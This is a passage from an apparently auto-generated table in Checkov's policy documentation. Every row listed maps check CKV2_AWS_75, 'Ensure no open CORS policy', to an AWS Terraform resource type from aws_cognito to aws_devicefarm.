resource | aws_cognito_identity_pool_provider_principal_tag | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2441 | CKV2_AWS_75 | resource | aws_cognito_identity_pool_roles_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2442 | CKV2_AWS_75 | resource | aws_cognito_identity_provider | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2443 | CKV2_AWS_75 | resource | aws_cognito_managed_user_pool_client | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2444 | CKV2_AWS_75 | resource | aws_cognito_resource_server | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2445 | CKV2_AWS_75 | resource | aws_cognito_risk_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2446 | CKV2_AWS_75 | resource | aws_cognito_user | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2447 | CKV2_AWS_75 | resource | aws_cognito_user_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2448 | CKV2_AWS_75 | resource | aws_cognito_user_in_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2449 | CKV2_AWS_75 | resource | aws_cognito_user_pool | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2450 | CKV2_AWS_75 | resource | aws_cognito_user_pool_client | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2451 | CKV2_AWS_75 | resource | aws_cognito_user_pool_domain | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2452 | CKV2_AWS_75 | resource | aws_cognito_user_pool_ui_customization | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2453 | CKV2_AWS_75 | resource | aws_comprehend_document_classifier | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2454 | CKV2_AWS_75 | resource | aws_comprehend_entity_recognizer | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2455 | CKV2_AWS_75 | resource | aws_computeoptimizer_enrollment_status | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2456 | CKV2_AWS_75 | resource | aws_computeoptimizer_recommendation_preferences | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2457 | CKV2_AWS_75 | resource | aws_config_aggregate_authorization | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2458 | CKV2_AWS_75 | resource | aws_config_config_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2459 | CKV2_AWS_75 | resource | aws_config_configuration_aggregator | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2460 | CKV2_AWS_75 | resource | aws_config_configuration_recorder | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2461 | CKV2_AWS_75 | resource | aws_config_configuration_recorder_status | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2462 | CKV2_AWS_75 | resource | aws_config_conformance_pack | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2463 | CKV2_AWS_75 | resource | aws_config_delivery_channel | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2464 | CKV2_AWS_75 | resource | aws_config_organization_conformance_pack | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2465 | CKV2_AWS_75 | resource | aws_config_organization_custom_policy_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2466 | CKV2_AWS_75 | resource | aws_config_organization_custom_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2467 | CKV2_AWS_75 | resource | aws_config_organization_managed_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2468 | CKV2_AWS_75 | resource | aws_config_remediation_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2469 | CKV2_AWS_75 | resource | aws_config_retention_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2470 | CKV2_AWS_75 | resource | aws_connect_bot_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2471 | CKV2_AWS_75 | resource | aws_connect_contact_flow | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2472 | CKV2_AWS_75 | resource | aws_connect_contact_flow_module | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2473 | CKV2_AWS_75 | resource | aws_connect_hours_of_operation | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2474 | CKV2_AWS_75 | resource | aws_connect_instance | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2475 | CKV2_AWS_75 | resource | aws_connect_instance_storage_config | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2476 | CKV2_AWS_75 | resource | aws_connect_lambda_function_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2477 | CKV2_AWS_75 | resource | aws_connect_phone_number | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2478 | CKV2_AWS_75 | resource | aws_connect_queue | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2479 | CKV2_AWS_75 | resource | aws_connect_quick_connect | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2480 | CKV2_AWS_75 | resource | aws_connect_routing_profile | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2481 | CKV2_AWS_75 | resource | aws_connect_security_profile | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2482 | CKV2_AWS_75 | resource | aws_connect_user | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2483 | CKV2_AWS_75 | resource | aws_connect_user_hierarchy_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2484 | CKV2_AWS_75 | resource | aws_connect_user_hierarchy_structure | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2485 | CKV2_AWS_75 | resource | aws_connect_vocabulary | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2486 | CKV2_AWS_75 | resource | aws_controltower_control | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2487 | CKV2_AWS_75 | resource | aws_controltower_landing_zone | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2488 | CKV2_AWS_75 | resource | aws_costoptimizationhub_enrollment_status | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2489 | CKV2_AWS_75 | resource | aws_costoptimizationhub_preferences | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2490 | CKV2_AWS_75 | resource | aws_cur_report_definition | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2491 | CKV2_AWS_75 | resource | aws_customer_gateway | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2492 | CKV2_AWS_75 | resource | aws_customerprofiles_domain | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2493 | CKV2_AWS_75 | resource | aws_customerprofiles_profile | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2494 | CKV2_AWS_75 | resource | aws_dataexchange_data_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2495 | CKV2_AWS_75 | resource | aws_dataexchange_revision | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2496 | CKV2_AWS_75 | resource | aws_datapipeline_pipeline | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2497 | CKV2_AWS_75 | resource | aws_datapipeline_pipeline_definition | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2498 | CKV2_AWS_75 | resource | aws_datasync_agent | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2499 | CKV2_AWS_75 | resource | aws_datasync_location_azure_blob | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2500 | CKV2_AWS_75 | resource | aws_datasync_location_efs | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2501 | CKV2_AWS_75 | resource | aws_datasync_location_fsx_lustre_file_system | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2502 | CKV2_AWS_75 | resource | aws_datasync_location_fsx_ontap_file_system | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2503 | CKV2_AWS_75 | resource | aws_datasync_location_fsx_openzfs_file_system | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2504 | CKV2_AWS_75 | resource | aws_datasync_location_fsx_windows_file_system | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2505 | CKV2_AWS_75 | resource | aws_datasync_location_hdfs | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2506 | CKV2_AWS_75 | resource | aws_datasync_location_nfs | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2507 | CKV2_AWS_75 | resource | aws_datasync_location_object_storage | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2508 | CKV2_AWS_75 | resource | aws_datasync_location_s3 | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2509 | CKV2_AWS_75 | resource | aws_datasync_location_smb | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2510 | CKV2_AWS_75 | resource | aws_datasync_task | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2511 | CKV2_AWS_75 | resource | aws_datazone_asset_type | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2512 | CKV2_AWS_75 | resource | aws_datazone_domain | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2513 | CKV2_AWS_75 | resource | aws_datazone_environment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2514 | CKV2_AWS_75 | resource | aws_datazone_environment_blueprint_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2515 | CKV2_AWS_75 | resource | aws_datazone_environment_profile | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2516 | CKV2_AWS_75 | resource | aws_datazone_form_type | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2517 | CKV2_AWS_75 | resource | aws_datazone_glossary | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2518 | CKV2_AWS_75 | resource | aws_datazone_glossary_term | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2519 | CKV2_AWS_75 | resource | aws_datazone_project | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2520 | CKV2_AWS_75 | resource | aws_datazone_user_profile | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2521 | CKV2_AWS_75 | resource | aws_dax_cluster | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2522 | CKV2_AWS_75 | resource | aws_dax_parameter_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2523 | CKV2_AWS_75 | resource | aws_dax_subnet_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2524 | CKV2_AWS_75 | resource | aws_db_cluster_snapshot | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2525 | CKV2_AWS_75 | resource | aws_db_event_subscription | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2526 | CKV2_AWS_75 | resource | aws_db_instance | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2527 | CKV2_AWS_75 | resource | aws_db_instance_automated_backups_replication | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2528 | CKV2_AWS_75 | resource | aws_db_instance_role_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2529 | CKV2_AWS_75 | resource | aws_db_option_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2530 | CKV2_AWS_75 | resource | aws_db_parameter_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2531 | CKV2_AWS_75 | resource | aws_db_proxy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2532 | CKV2_AWS_75 | resource | aws_db_proxy_default_target_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2533 | CKV2_AWS_75 | resource | aws_db_proxy_endpoint | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2534 | CKV2_AWS_75 | resource | aws_db_proxy_target | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2535 | CKV2_AWS_75 | resource | aws_db_security_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2536 | CKV2_AWS_75 | resource | aws_db_snapshot | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2537 | CKV2_AWS_75 | resource | aws_db_snapshot_copy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2538 | CKV2_AWS_75 | resource | aws_db_subnet_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2539 | CKV2_AWS_75 | resource | aws_default_network_acl | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2540 | CKV2_AWS_75 | resource | aws_default_route_table | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2541 | CKV2_AWS_75 | resource | aws_default_security_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2542 | CKV2_AWS_75 | resource | aws_default_subnet | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2543 | CKV2_AWS_75 | resource | aws_default_vpc | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2544 | CKV2_AWS_75 | resource | aws_default_vpc_dhcp_options | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2545 | CKV2_AWS_75 | resource | aws_detective_graph | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2546 | CKV2_AWS_75 | resource | aws_detective_invitation_accepter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2547 | CKV2_AWS_75 | resource | aws_detective_member | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2548 | CKV2_AWS_75 | resource | aws_detective_organization_admin_account | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2549 | CKV2_AWS_75 | resource | aws_detective_organization_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2550 | CKV2_AWS_75 | resource | aws_devicefarm_device_pool | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2551 | CKV2_AWS_75 | resource | aws_devicefarm_instance_profile | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 